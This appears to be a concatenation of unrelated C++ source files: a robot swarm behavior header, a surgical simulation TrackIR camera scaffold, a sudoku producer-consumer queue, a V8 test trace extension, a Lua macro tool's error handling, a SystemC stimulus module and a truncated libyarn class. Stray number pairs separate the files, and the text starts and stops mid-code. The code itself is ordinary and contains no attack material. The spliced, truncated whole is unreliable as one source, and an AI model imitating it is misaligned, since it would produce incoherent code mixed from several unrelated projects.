sur.pMin, size, tris, surTester); }
6,448
2,335
#ifndef _AVOID_NEST_HPP #define _AVOID_NEST_HPP #include "BehaviorManager.hpp" #include "SwarmieSensors.hpp" #include "Timer.hpp" #include <cmath> class AvoidNest : public Behavior { private: int _tagsLeft; int _tagsRight; bool _persist; bool _tooClose; SwarmieAction _savedAction; Timer* _persistenceTimer; void TagHandler(const SwarmieSensors& sensors); public: AvoidNest(Timer* timer); ~AvoidNest() {} void Update(const SwarmieSensors& sensors, const SwarmieAction& ll_action) override; }; #endif // _AVOID_NEST_HPP
569
224
// This file is a part of the OpenSurgSim project. // Copyright 2013, SimQuest Solutions Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "SurgSim/Devices/TrackIR/TrackIRScaffold.h" #include <algorithm> #include <list> #include <memory> #include <boost/thread/locks.hpp> #include <boost/thread/mutex.hpp> #include <cameralibrary.h> #include "SurgSim/Devices/TrackIR/TrackIRDevice.h" #include "SurgSim/Devices/TrackIR/TrackIRThread.h" #include "SurgSim/Framework/Assert.h" #include "SurgSim/Framework/Log.h" #include "SurgSim/Framework/SharedInstance.h" #include "SurgSim/DataStructures/DataGroup.h" #include "SurgSim/DataStructures/DataGroupBuilder.h" #include "SurgSim/Math/Matrix.h" #include "SurgSim/Math/RigidTransform.h" #include "SurgSim/Math/Vector.h" using SurgSim::DataStructures::DataGroupBuilder; using SurgSim::Math::makeRotationMatrix; using SurgSim::Math::Matrix33d; using SurgSim::Math::RigidTransform3d; using SurgSim::Math::Vector3d; namespace SurgSim { namespace Devices { struct TrackIRScaffold::DeviceData { /// Constructor /// \param device Device to be wrapped /// \param cameraID The camera identifier explicit DeviceData(TrackIRDevice* device, int cameraID) : deviceObject(device), thread(), vector(CameraLibrary::cModuleVector::Create()), vectorProcessor(new CameraLibrary::cModuleVectorProcessing()) { CameraLibrary::CameraList list; list.Refresh(); camera = CameraLibrary::CameraManager::X().GetCamera(list[cameraID].UID()); SURGSIM_ASSERT(nullptr != camera) << "Failed to obtain a camera from CameraLibrary."; camera->SetVideoType(CameraLibrary::BitPackedPrecisionMode); CameraLibrary::cVectorProcessingSettings vectorProcessorSettings; vectorProcessorSettings = *(vectorProcessor->Settings()); vectorProcessorSettings.Arrangement = CameraLibrary::cVectorSettings::VectorClip; vectorProcessorSettings.ShowPivotPoint = false; vectorProcessorSettings.ShowProcessed = false; vectorProcessorSettings.ScaleTranslationX = device->defaultPositionScale(); vectorProcessorSettings.ScaleTranslationY = device->defaultPositionScale(); vectorProcessorSettings.ScaleTranslationZ = device->defaultPositionScale(); vectorProcessorSettings.ScaleRotationPitch = device->defaultOrientationScale(); vectorProcessorSettings.ScaleRotationYaw = device->defaultOrientationScale(); vectorProcessorSettings.ScaleRotationRoll = device->defaultOrientationScale(); vectorProcessor->SetSettings(vectorProcessorSettings); //== Plug in focal length in (mm) by converting it from pixels -> mm CameraLibrary::cVectorSettings vectorSettings; vectorSettings = *(vector->Settings()); vectorSettings.Arrangement = CameraLibrary::cVectorSettings::VectorClip; vectorSettings.Enabled = true; camera->GetDistortionModel(lensDistortion); vectorSettings.ImagerFocalLength = lensDistortion.HorizontalFocalLength / static_cast<double>(camera->PhysicalPixelWidth()) * camera->ImagerWidth(); vectorSettings.ImagerHeight = camera->ImagerHeight(); vectorSettings.ImagerWidth = camera->ImagerWidth(); vectorSettings.PrincipalX = camera->PhysicalPixelWidth() / 2.0; vectorSettings.PrincipalY = camera->PhysicalPixelHeight() / 2.0; vectorSettings.PixelWidth = camera->PhysicalPixelWidth(); vectorSettings.PixelHeight = camera->PhysicalPixelHeight(); vector->SetSettings(vectorSettings); } ~DeviceData() { camera->Release(); } Core::DistortionModel lensDistortion; CameraLibrary::Camera* camera; CameraLibrary::cModuleVector* vector; CameraLibrary::cModuleVectorProcessing* vectorProcessor; /// The corresponding device object. SurgSim::Devices::TrackIRDevice* const deviceObject; /// Processing thread. std::unique_ptr<SurgSim::Devices::TrackIRThread> thread; /// The mutex that protects the externally modifiable parameters. boost::mutex parametersMutex; private: // Prevent copy construction and copy assignment. (VS2012 does not support "= delete" yet.) DeviceData(const DeviceData&) /*= delete*/; DeviceData& operator=(const DeviceData&) /*= delete*/; }; struct TrackIRScaffold::StateData { public: /// Initialize the state. StateData() : isApiInitialized(false) { } /// True if the API has been initialized (and not finalized). bool isApiInitialized; /// The list of known devices. std::list<std::unique_ptr<TrackIRScaffold::DeviceData>> activeDeviceList; /// The mutex that protects the list of known devices. boost::mutex mutex; private: // Prevent copy construction and copy assignment. (VS2012 does not support "= delete" yet.) StateData(const StateData&) /*= delete*/; StateData& operator=(const StateData&) /*= delete*/; }; TrackIRScaffold::TrackIRScaffold() : m_logger(Framework::Logger::getLogger("Devices/TrackIR")), m_state(new StateData) { SURGSIM_LOG_DEBUG(m_logger) << "Shared scaffold created."; } TrackIRScaffold::~TrackIRScaffold() { // The following block controls the duration of the mutex being locked. { boost::lock_guard<boost::mutex> lock(m_state->mutex); if (!m_state->activeDeviceList.empty()) { SURGSIM_LOG_SEVERE(m_logger) << "TrackIR: Destroying scaffold while devices are active!?!"; for (auto it = std::begin(m_state->activeDeviceList); it != std::end(m_state->activeDeviceList); ++it) { stopCamera((*it).get()); if ((*it)->thread) { destroyPerDeviceThread(it->get()); } } m_state->activeDeviceList.clear(); } if (m_state->isApiInitialized) { if (!finalizeSdk()) { SURGSIM_LOG_SEVERE(m_logger) << "Finalizing TrackIR SDK failed."; } } } SURGSIM_LOG_DEBUG(m_logger) << "TrackIR: Shared scaffold destroyed."; } bool TrackIRScaffold::registerDevice(TrackIRDevice* device) { boost::lock_guard<boost::mutex> lock(m_state->mutex); if (!m_state->isApiInitialized) { if (!initializeSdk()) { SURGSIM_LOG_SEVERE(m_logger) << "Failed to initialize TrackIR SDK in TrackIRScaffold::registerDevice(). " << "Continuing without the TrackIR device."; } } // Only proceed when initializationSdk() is successful. if (m_state->isApiInitialized) { // Make sure the object is unique. auto sameObject = std::find_if(m_state->activeDeviceList.cbegin(), m_state->activeDeviceList.cend(), [device](const std::unique_ptr<DeviceData>& info) { return info->deviceObject == device; }); SURGSIM_ASSERT(sameObject == m_state->activeDeviceList.end()) << "TrackIR: Tried to register a device" << " which is already registered!"; // Make sure the name is unique. const std::string name = device->getName(); auto sameName = std::find_if(m_state->activeDeviceList.cbegin(), m_state->activeDeviceList.cend(), [&name](const std::unique_ptr<DeviceData>& info) { return info->deviceObject->getName() == name; }); SURGSIM_ASSERT(sameName == m_state->activeDeviceList.end()) << "TrackIR: Tried to register a device" << " when the same name is already present!"; // The handling of multiple cameras could be done in different ways, each with trade-offs. // Instead of choosing an approach now, we assert on attempting to use more than one camera. SURGSIM_ASSERT(m_state->activeDeviceList.size() < 1) << "There is already an active TrackIR camera." << " TrackIRScaffold only supports one TrackIR camera right now."; CameraLibrary::CameraList cameraList; cameraList.Refresh(); if (cameraList.Count() > static_cast<int>(m_state->activeDeviceList.size())) { int cameraID = static_cast<int>(m_state->activeDeviceList.size()); std::unique_ptr<DeviceData> info(new DeviceData(device, cameraID)); createPerDeviceThread(info.get()); SURGSIM_ASSERT(info->thread) << "Failed to create a per-device thread for TrackIR device: " << info->deviceObject->getName() << ", with ID number " << cameraID << "."; startCamera(info.get()); m_state->activeDeviceList.emplace_back(std::move(info)); SURGSIM_LOG_INFO(m_logger) << "Device " << device->getName() << " initialized."; } else { SURGSIM_LOG_SEVERE(m_logger) << "Registration failed. Is a TrackIR device plugged in?"; m_state->isApiInitialized = false; } } return m_state->isApiInitialized; } bool TrackIRScaffold::unregisterDevice(const TrackIRDevice* const device) { bool found = false; { boost::lock_guard<boost::mutex> lock(m_state->mutex); auto matching = std::find_if(m_state->activeDeviceList.begin(), m_state->activeDeviceList.end(), [device](const std::unique_ptr<DeviceData>& info) { return info->deviceObject == device; }); if (matching != m_state->activeDeviceList.end()) { stopCamera((*matching).get()); if ((*matching)->thread) { destroyPerDeviceThread(matching->get()); } m_state->activeDeviceList.erase(matching); // the iterator is now invalid but that's OK found = true; SURGSIM_LOG_INFO(m_logger) << "Device " << device->getName() << " unregistered."; } } SURGSIM_LOG_IF(!found, m_logger, SEVERE) << "Attempted to release a non-registered device " << device->getName(); return found; } void TrackIRScaffold::setPositionScale(const TrackIRDevice* device, double scale) { boost::lock_guard<boost::mutex> lock(m_state->mutex); auto matching = std::find_if(m_state->activeDeviceList.begin(), m_state->activeDeviceList.end(), [device](const std::unique_ptr<DeviceData>& info) { return info->deviceObject == device; }); if (matching != m_state->activeDeviceList.end()) { boost::lock_guard<boost::mutex> lock((*matching)->parametersMutex); CameraLibrary::cVectorProcessingSettings* vectorProcessorSettings = (*matching)->vectorProcessor->Settings(); vectorProcessorSettings->ScaleTranslationX = scale; vectorProcessorSettings->ScaleTranslationY = scale; vectorProcessorSettings->ScaleTranslationZ = scale; } } void TrackIRScaffold::setOrientationScale(const TrackIRDevice* device, double scale) { boost::lock_guard<boost::mutex> lock(m_state->mutex); auto matching = std::find_if(m_state->activeDeviceList.begin(), m_state->activeDeviceList.end(), [device](const std::unique_ptr<DeviceData>& info) { return info->deviceObject == device; }); if (matching != m_state->activeDeviceList.end()) { boost::lock_guard<boost::mutex> lock((*matching)->parametersMutex); CameraLibrary::cVectorProcessingSettings* vectorProcessorSettings = (*matching)->vectorProcessor->Settings(); vectorProcessorSettings->ScaleRotationPitch = scale; vectorProcessorSettings->ScaleRotationYaw = scale; vectorProcessorSettings->ScaleRotationRoll = scale; } } bool TrackIRScaffold::runInputFrame(TrackIRScaffold::DeviceData* info) { if (!updateDevice(info)) { return false; } info->deviceObject->pushInput(); return true; } bool TrackIRScaffold::updateDevice(TrackIRScaffold::DeviceData* info) { SurgSim::DataStructures::DataGroup& inputData = info->deviceObject->getInputData(); boost::lock_guard<boost::mutex> lock(info->parametersMutex); CameraLibrary::Frame *frame = info->camera->GetFrame(); bool poseValid = false; double x, y, z, pitch, yaw, roll; if (frame) { info->vector->BeginFrame(); for(int i = 0; i < frame->ObjectCount(); ++i) { CameraLibrary::cObject *obj = frame->Object(i); float xValue = obj->X(); float yValue = obj->Y(); Core::Undistort2DPoint(info->lensDistortion, xValue, yValue); info->vector->PushMarkerData(xValue, yValue, obj->Area(), obj->Width(), obj->Height()); } info->vector->Calculate(); info->vectorProcessor->PushData(info->vector); // Vector Clip uses 3 markers to identify the pose, i.e. 6DOF // Otherwise, the pose is considered as invalid. if(info->vectorProcessor->MarkerCount() == 3) { info->vectorProcessor->GetOrientation(yaw, pitch, roll); // Rotations are Euler Angles in degrees. info->vectorProcessor->GetPosition(x, y, z); // Positions are reported in millimeters. poseValid = true; } frame->Release(); } if (poseValid) { // Positions returned from CameraSDK are right-handed. Vector3d position(x / 1000.0, y / 1000.0, z / 1000.0); // Convert millimeter to meter // The angles returned from CameraSDK are Euler angles (y-x'-z'' intrinsic rotations): X=pitch, Y=yaw, Z=roll. // OSS use right handed coordinate system (X:Right, Y:Up, Z:Outward) and right hand rule for rotations. Matrix33d rotationX = makeRotationMatrix(pitch * M_PI / 180.0, Vector3d(Vector3d::UnitX())); Matrix33d rotationY = makeRotationMatrix(yaw * M_PI / 180.0, Vector3d(Vector3d::UnitY())); Matrix33d rotationZ = makeRotationMatrix(roll * M_PI / 180.0, Vector3d(Vector3d::UnitZ())); Matrix33d orientation = rotationY * rotationX * rotationZ; RigidTransform3d pose; pose.linear() = orientation; pose.translation() = position; inputData.poses().set(SurgSim::DataStructures::Names::POSE, pose); } else // Invalid pose. inputData.poses().hasData("pose") will be set to 'false'. { inputData.poses().reset(SurgSim::DataStructures::Names::POSE); } return true; } bool TrackIRScaffold::initializeSdk() { SURGSIM_ASSERT(!m_state->isApiInitialized) << "TrackIR API already initialized."; if (!CameraLibrary::CameraManager::X().AreCamerasInitialized()) { CameraLibrary::CameraManager::X().WaitForInitialization(); } if (CameraLibrary::CameraManager::X().GetCamera()) { m_state->isApiInitialized = true; } return m_state->isApiInitialized; } bool TrackIRScaffold::finalizeSdk() { SURGSIM_ASSERT(m_state->isApiInitialized) << "TrackIR API already finalized."; if (!CameraLibrary::CameraManager::X().AreCamerasShutdown()) { // Dec-17-2013-HW It's a bug in TrackIR CameraSDK that after calling CameraLibrary::CameraManager::X().Shutdown(), // calls to CameraLibrary::CameraManager::X().WaitForInitialization will throw memory violation error. //CameraLibrary::CameraManager::X().Shutdown(); } m_state->isApiInitialized = false; return !m_state->isApiInitialized; } bool TrackIRScaffold::createPerDeviceThread(DeviceData* deviceData) { SURGSIM_ASSERT(!deviceData->thread) << "Device " << deviceData->deviceObject->getName() << " already has a thread."; std::unique_ptr<TrackIRThread> thread(new TrackIRThread(this, deviceData)); thread->start(); deviceData->thread = std::move(thread); return true; } bool TrackIRScaffold::destroyPerDeviceThread(DeviceData* deviceData) { SURGSIM_ASSERT(deviceData->thread) << "No thread attached to device " << deviceData->deviceObject->getName(); std::unique_ptr<TrackIRThread> thread = std::move(deviceData->thread); thread->stop(); thread.reset(); return true; } bool TrackIRScaffold::startCamera(DeviceData* info) { info->camera->Start(); return info->camera->IsCameraRunning(); } bool TrackIRScaffold::stopCamera(DeviceData* info) { info->camera->Stop(); return !(info->camera->IsCameraRunning()); } SurgSim::DataStructures::DataGroup TrackIRScaffold::buildDeviceInputData() { DataGroupBuilder builder; builder.addPose("pose"); return builder.createData(); } std::shared_ptr<TrackIRScaffold> TrackIRScaffold::getOrCreateSharedInstance() { static SurgSim::Framework::SharedInstance<TrackIRScaffold> sharedInstance; return sharedInstance.get(); } }; // namespace Devices }; // namespace SurgSim
15,691
5,340
#include <sudoku/solution_queue.h> namespace sudoku { SolutionQueue::SolutionQueue(size_t maxSize) : maxSize_(maxSize) { } SolutionQueue::Producer::Producer(SolutionQueue& queue) : queue_(queue) { std::lock_guard<std::mutex> lock(queue_.mutex_); queue_.numProducers_++; } SolutionQueue::Producer::Producer(const Producer& other) : queue_(other.queue_) { std::lock_guard<std::mutex> lock(queue_.mutex_); queue_.numProducers_++; } SolutionQueue::Producer::Producer(Producer&& other) : queue_(other.queue_) { other.moved_ = true; } SolutionQueue::Producer::~Producer() { if (!moved_) { std::lock_guard<std::mutex> lock(queue_.mutex_); queue_.numProducers_--; // If this is the last producer, notify remaining consumers. if (queue_.numProducers_ == 0) { queue_.condVar_.notify_all(); } } } bool SolutionQueue::Producer::push(std::vector<CellValue> solution, Metrics metrics) { // Wait until the queue has free capacity, or until there are // no more consumers. std::unique_lock<std::mutex> lock(queue_.mutex_); queue_.condVar_.wait(lock, [&](){ return (queue_.valuesQueue_.size() < queue_.maxSize_) || (queue_.numConsumers_ == 0); }); // If there are no consumers, then return false now. if (queue_.numConsumers_ == 0) { return false; } // There must be free capacity in the queue. Add the solution to the // queue, and notify a consumer thread which may be waiting. queue_.valuesQueue_.emplace(std::move(solution)); queue_.metricsQueue_.push(metrics); queue_.condVar_.notify_one(); return true; } SolutionQueue::Consumer::Consumer(SolutionQueue& queue) : queue_(queue) { std::lock_guard<std::mutex> lock(queue_.mutex_); queue_.numConsumers_++; } SolutionQueue::Consumer::Consumer(const Consumer& other) : queue_(other.queue_) { std::lock_guard<std::mutex> lock(queue_.mutex_); queue_.numConsumers_++; } SolutionQueue::Consumer::Consumer(Consumer&& other) : queue_(other.queue_) { other.moved_ = true; } SolutionQueue::Consumer::~Consumer() { if (!moved_) { std::lock_guard<std::mutex> lock(queue_.mutex_); queue_.numConsumers_--; // If this is the last consumer, notify remaining producers. if (queue_.numConsumers_ == 0) { queue_.condVar_.notify_all(); } } } bool SolutionQueue::Consumer::pop(std::vector<CellValue>& solution, Metrics& metrics) { // Wait until the queue contains at least one element, or until // there are no more producers. std::unique_lock<std::mutex> lock(queue_.mutex_); queue_.condVar_.wait(lock, [&](){ return (queue_.valuesQueue_.size() > 0) || (queue_.numProducers_ == 0); }); // If there are no more producers, there still may be solutions left // to proces in the queue. We only quit if there are no more producers // AND the queue is empty. if (queue_.numProducers_ == 0 && queue_.valuesQueue_.size() == 0) { return false; } // We know there is at least one producer, and the queue is not empty. // Retrieve the front of the queue. Notify a consumer which may be // waiting to write the the queue. solution = std::move(queue_.valuesQueue_.front()); metrics = queue_.metricsQueue_.front(); queue_.valuesQueue_.pop(); queue_.metricsQueue_.pop(); queue_.condVar_.notify_one(); return true; } }
3,843
1,145
// Copyright 2014 the V8 project authors. All rights reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided // with the distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #include "test/cctest/trace-extension.h" #include "include/v8-profiler.h" #include "src/vm-state-inl.h" #include "test/cctest/cctest.h" namespace v8 { namespace internal { const char* TraceExtension::kSource = "native function trace();" "native function js_trace();" "native function js_entry_sp();" "native function js_entry_sp_level2();"; v8::Local<v8::FunctionTemplate> TraceExtension::GetNativeFunctionTemplate( v8::Isolate* isolate, v8::Local<v8::String> name) { v8::Local<v8::Context> context = isolate->GetCurrentContext(); if (name->Equals(context, v8::String::NewFromUtf8(isolate, "trace", v8::NewStringType::kNormal) .ToLocalChecked()) .FromJust()) { return v8::FunctionTemplate::New(isolate, TraceExtension::Trace); } else if (name->Equals(context, v8::String::NewFromUtf8(isolate, "js_trace", v8::NewStringType::kNormal) .ToLocalChecked()) .FromJust()) { return v8::FunctionTemplate::New(isolate, TraceExtension::JSTrace); } else if (name->Equals(context, v8::String::NewFromUtf8(isolate, "js_entry_sp", v8::NewStringType::kNormal) .ToLocalChecked()) .FromJust()) { return v8::FunctionTemplate::New(isolate, TraceExtension::JSEntrySP); } else if (name->Equals(context, v8::String::NewFromUtf8(isolate, "js_entry_sp_level2", v8::NewStringType::kNormal) .ToLocalChecked()) .FromJust()) { return v8::FunctionTemplate::New(isolate, TraceExtension::JSEntrySPLevel2); } UNREACHABLE(); } Address TraceExtension::GetFP(const v8::FunctionCallbackInfo<v8::Value>& args) { // Convert frame pointer from encoding as smis in the arguments to a pointer. CHECK_EQ(2, args.Length()); // Ignore second argument on 32-bit platform. #if defined(V8_HOST_ARCH_32_BIT) Address fp = *reinterpret_cast<Address*>(*args[0]); #elif defined(V8_HOST_ARCH_64_BIT) uint64_t kSmiValueMask = (static_cast<uintptr_t>(1) << (kSmiValueSize - 1)) - 1; uint64_t low_bits = (*reinterpret_cast<Smi**>(*args[0]))->value() & kSmiValueMask; uint64_t high_bits = (*reinterpret_cast<Smi**>(*args[1]))->value() & kSmiValueMask; Address fp = static_cast<Address>((high_bits << (kSmiValueSize - 1)) | low_bits); #else #error Host architecture is neither 32-bit nor 64-bit. #endif printf("Trace: %p\n", reinterpret_cast<void*>(fp)); return fp; } static struct { v8::TickSample* sample; } trace_env = {nullptr}; void TraceExtension::InitTraceEnv(v8::TickSample* sample) { trace_env.sample = sample; } void TraceExtension::DoTrace(Address fp) { RegisterState regs; regs.fp = reinterpret_cast<void*>(fp); // sp is only used to define stack high bound regs.sp = reinterpret_cast<void*>( reinterpret_cast<Address>(trace_env.sample) - 10240); trace_env.sample->Init(CcTest::isolate(), regs, v8::TickSample::kSkipCEntryFrame, true); } void TraceExtension::Trace(const v8::FunctionCallbackInfo<v8::Value>& args) { i::Isolate* isolate = reinterpret_cast<i::Isolate*>(args.GetIsolate()); i::VMState<EXTERNAL> state(isolate); Address address = reinterpret_cast<Address>(&TraceExtension::Trace); i::ExternalCallbackScope call_scope(isolate, address); DoTrace(GetFP(args)); } // Hide c_entry_fp to emulate situation when sampling is done while // pure JS code is being executed static void DoTraceHideCEntryFPAddress(Address fp) { v8::internal::Address saved_c_frame_fp = *(CcTest::i_isolate()->c_entry_fp_address()); CHECK(saved_c_frame_fp); *(CcTest::i_isolate()->c_entry_fp_address()) = 0; i::TraceExtension::DoTrace(fp); *(CcTest::i_isolate()->c_entry_fp_address()) = saved_c_frame_fp; } void TraceExtension::JSTrace(const v8::FunctionCallbackInfo<v8::Value>& args) { i::Isolate* isolate = reinterpret_cast<i::Isolate*>(args.GetIsolate()); i::VMState<EXTERNAL> state(isolate); Address address = reinterpret_cast<Address>(&TraceExtension::JSTrace); i::ExternalCallbackScope call_scope(isolate, address); DoTraceHideCEntryFPAddress(GetFP(args)); } Address TraceExtension::GetJsEntrySp() { CHECK(CcTest::i_isolate()->thread_local_top()); return CcTest::i_isolate()->js_entry_sp(); } void TraceExtension::JSEntrySP( const v8::FunctionCallbackInfo<v8::Value>& args) { CHECK(GetJsEntrySp()); } void TraceExtension::JSEntrySPLevel2( const v8::FunctionCallbackInfo<v8::Value>& args) { v8::HandleScope scope(args.GetIsolate()); const Address js_entry_sp = GetJsEntrySp(); CHECK(js_entry_sp); CompileRun("js_entry_sp();"); CHECK_EQ(js_entry_sp, GetJsEntrySp()); } } // namespace internal } // namespace v8
6,634
2,236
/****************************************************************************** Project: MicroMacro Author: SolarStrike Software URL: www.solarstrike.net License: Modified BSD (see license.txt) ******************************************************************************/ #include "error.h" #include "strl.h" #include "logger.h" #include "macro.h" #include "ncurses_lua.h" #include <vector> #include <string> #include <string.h> extern "C" { #include <lua.h> #include <lauxlib.h> #include <lualib.h> } const char *getErrorString(int errcode) { switch(errcode) { case MicroMacro::ERR_OK: return "Everything is OK"; break; case MicroMacro::ERR_CLOSE: return "Close request signal sent"; break; case MicroMacro::ERR_DOUBLE_INIT: return "Double initialization not allowed"; break; case MicroMacro::ERR_INIT_FAIL: return "Initialization failure"; break; case MicroMacro::ERR_CLEANUP_FAIL: return "Failure to properly cleanup"; break; case MicroMacro::ERR_NO_STATE: return "Attempt to use Lua state when no state has been created"; break; case MicroMacro::ERR_RUN: return "Runtime error"; break; case MicroMacro::ERR_MEM: return "Memory error"; break; case MicroMacro::ERR_SYNTAX: return "Syntax error"; break; case MicroMacro::ERR_FILE: return "File error"; break; case MicroMacro::ERR_ERR: return "Error inside of an error: Errorception. I don\'t even know what\'s right anymore."; break; case MicroMacro::ERR_NOFUNCTION: return "Function does not exist or could not be found"; break; case MicroMacro::ERR_UNKNOWN: default: return "Unknown or undefined error"; break; } } std::string getWindowsErrorString(int errCode) { char *tmp = NULL; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, errCode, 0, (CHAR*)&tmp, 0, NULL); if( tmp == NULL ) return ""; std::string retval = tmp; LocalFree(tmp); retval.erase( retval.size()-2 ); // chop off trailing \r\n return retval; } void wrongArgsReal(lua_State *s, const char *name) { luaL_error(s, "Wrong number of parameters supplied to %s().\n", name); } void badAllocationReal(const char *file, const char *func, int line) { // Log the error char buffer[1024]; #ifdef DISPLAY_DEBUG_MESSAGES sprintf(buffer, "Bad allocation, %s:%d in function %s\n", file, line, func); #else sprintf(buffer, "Bad allocation in function %s, line %d\n", func, line); #endif fprintf(stderr, buffer); Logger::instance()->add("%s", buffer); // Shut down Ncurses (if needed) if( Ncurses_lua::is_initialized() ) { Ncurses_lua::cleanup(Macro::instance()->getEngine()->getLuaState()); } // Let the user know something bad happened, give them time to see the error printf("\a\a\a"); // Ding! system("pause"); // Time to go home exit(MicroMacro::ERR_MEM); } int checkType(lua_State *L, int acceptableTypes, int arg) { int ok = false; std::vector<short> acceptableTypeIDs; acceptableTypeIDs.reserve(10); // Check each type if( acceptableTypes & LT_NIL ) { acceptableTypeIDs.push_back(LUA_TNIL); if( lua_isnil(L, arg) ) ok = true; } if( acceptableTypes & LT_NUMBER ) { acceptableTypeIDs.push_back(LUA_TNUMBER); if( lua_isnumber(L, arg) ) ok = true; } if( acceptableTypes & LT_STRING ) { acceptableTypeIDs.push_back(LUA_TSTRING); if( lua_isstring(L, arg) ) ok = true; } if( acceptableTypes & LT_BOOLEAN ) { acceptableTypeIDs.push_back(LUA_TBOOLEAN); if( lua_isboolean(L, arg) ) ok = true; } if( acceptableTypes & LT_TABLE ) { acceptableTypeIDs.push_back(LUA_TTABLE); if( lua_istable(L, arg) ) ok = true; } if( acceptableTypes & LT_FUNCTION ) { acceptableTypeIDs.push_back(LUA_TFUNCTION); if( lua_isfunction(L, arg) ) ok = true; } if( acceptableTypes & LT_THREAD ) { acceptableTypeIDs.push_back(LUA_TTHREAD); if( lua_isthread(L, arg) ) ok = true; } if( acceptableTypes & LT_USERDATA ) { acceptableTypeIDs.push_back(LUA_TUSERDATA); if( lua_isuserdata(L, arg) ) ok = true; } if( !ok ) { char expected[256]; strlcpy((char*)&expected, "unknown", 8); size_t buff_left = sizeof(expected)-1; // What's left to use (below) for(size_t i = 0; i < acceptableTypeIDs.size(); i++) { if( i == 0 ) { size_t buff_used = 0; buff_used = strlcpy((char*)&expected, lua_typename(L, acceptableTypeIDs.at(i)), buff_left); buff_left = sizeof(expected) - 1 - buff_used; } else if( i == acceptableTypeIDs.size() - 1 ) { const char *or_txt = " or "; strlcat((char*)&expected, or_txt, buff_left); buff_left -= strlen(or_txt); strlcat((char*)&expected, lua_typename(L, acceptableTypeIDs.at(i)), buff_left); buff_left = sizeof(expected) - 1 - strlen((char*)&expected); } else { const char *comma_txt = ", "; strlcat((char*)&expected, comma_txt, buff_left); buff_left -= strlen(comma_txt); strlcat((char*)&expected, lua_typename(L, acceptableTypeIDs.at(i)), buff_left); buff_left -= sizeof(expected) - 1 - strlen((char*)&expected); } } luaL_typerror(L, arg, expected); } return 0; } int luaL_typerror(lua_State *L, int narg, const char *tname) { const char *msg = lua_pushfstring(L, "%s expected, got %s", tname, luaL_typename(L, narg)); return luaL_argerror(L, narg, msg); } void pushLuaErrorEvent(lua_State *L, const char *fmt, ...) { // Get Lua state info lua_Debug ar; lua_getstack(L, 1, &ar); lua_getinfo(L, "nSl", &ar); // Prep a string that tells us where the error originated char scriptinfo[256]; slprintf(scriptinfo, sizeof(scriptinfo)-1, " %s:%d", ar.short_src, ar.currentline); // Actually format the error we were given char buffer[2048]; va_list va_alist; va_start(va_alist, fmt); _vsnprintf_s(buffer, sizeof(buffer), fmt, va_alist); va_end(va_alist); // Queue it MicroMacro::Event e; e.type = MicroMacro::EVENT_ERROR; e.msg = buffer; e.msg += scriptinfo; //Macro::instance()->getEventQueue()->push(e); Macro::instance()->pushEvent(e); }
6,040
2,535
/** * @file stimulus.cpp */ #include "stimulus.hpp" #include "objection.hpp" #include "report.hpp" #include <random> using namespace sc_core; namespace { char const * const MSGID{ "/Doulos/Example/Modern/Stimulus_module" }; } //.............................................................................. Stimulus_module::Stimulus_module( sc_module_name instance ) //< Constructor : sc_module( instance ) { SC_HAS_PROCESS( Stimulus_module ); SC_THREAD( stimulus_thread ); } //.............................................................................. Stimulus_module::~Stimulus_module( void ) = default; //.............................................................................. void Stimulus_module::stimulus_thread( void ) { Objection generating_data( name() ); unsigned int seed = 1; std::default_random_engine generator(seed); std::uniform_real_distribution<double> distribution (-128.0,128.0); std::vector<double> directed = { 0.0, 1.0, 2.0, 3.0, 4.0, 5.0 }; size_t samples = directed.size()*directed.size()*directed.size(); REPORT( INFO, "Sending " << samples << " directed samples" ); for( auto const& x : directed ) { for( auto const& y : directed ) { for( auto const& z : directed ) { Coordinate xyz{ x, y, z }; rawout_port->write( xyz ); INFO( DEBUG, "Sent " << xyz ); } } } samples = 1000; REPORT( INFO, "Sending " << samples << " random samples" ); for( size_t n=0; n<samples; ++n ) { Coordinate xyz = { distribution(generator), distribution(generator), distribution(generator) }; rawout_port->write( xyz ); INFO( DEBUG, "Sent " << xyz ); } REPORT( INFO, "Stimulus complete" ); }
1,699
554
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ #include "RegisterApplicationMasterRequest.h" namespace libyarn { RegisterApplicationMasterRequest::RegisterApplicationMasterRequest() { requestProto = RegisterApplicationMasterRequestProto::default_instance(); } RegisterApplicationMasterRequest::RegisterApplicationMasterRequest( const 